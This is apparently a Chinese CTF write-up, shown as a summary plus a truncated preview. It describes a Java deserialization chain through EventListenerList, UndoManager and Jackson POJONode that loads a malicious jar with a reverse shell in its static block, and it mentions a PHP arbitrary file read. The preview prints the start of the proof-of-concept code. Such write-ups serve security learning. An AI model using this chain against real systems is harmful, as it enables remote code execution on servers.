主要观点总结
文章描述了使用Java和PHP进行的一种攻击方式,涉及到利用EventListenerList触发toString,再由Jackson库触发User的getter方法加载jar包到classpath中,构造一种名为POC的链子。文章还提到了利用Java序列化来上传恶意jar包,并在静态块中反弹shell。文章还展示了如何上传和加载恶意类,并利用反序列化触发恶意类实例化。文章最后提到了利用PHP的任意文件读取漏洞进行攻击。
关键观点总结
关键观点1: 利用EventListenerList触发toString
通过EventListenerList触发toString,再由Jackson库触发User的getter方法加载jar包到classpath中,构造一种名为POC的链子。
关键观点2: Java序列化上传恶意jar包
利用Java序列化上传恶意jar包,并在静态块中反弹shell。
关键观点3: 上传和加载恶意类
展示了如何上传和加载恶意类,并利用反序列化触发恶意类实例化。
关键观点4: 利用PHP的任意文件读取漏洞进行攻击
文章最后提到了利用PHP的任意文件读取漏洞进行攻击。
文章预览
ez_java 阿里云CTF考过,利用EventListenerList触发toString,后面再由jackjson链触发User的getter来加载jar包到classpath中,构造链子POC如下: package com.example.ycbjava; import com.example.ycbjava.bean.User; import com.fasterxml.jackson.databind.node.POJONode; import javax.swing.event.EventListenerList; import javax.swing.undo.UndoManager; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.Vector; public class YcbSer { public static void main (String[] args) throws Exception { POJONode json = new POJONode( new User( "jar:file:/templates/Reverse.jar!/" , "" )); UndoManager undoManager = new UndoManager(); EventListenerList eventListenerList = new EventListenerList(); Vector vector = (Vector) getField(undoManager, "edits" ); vector.add(json); setFi
………………………………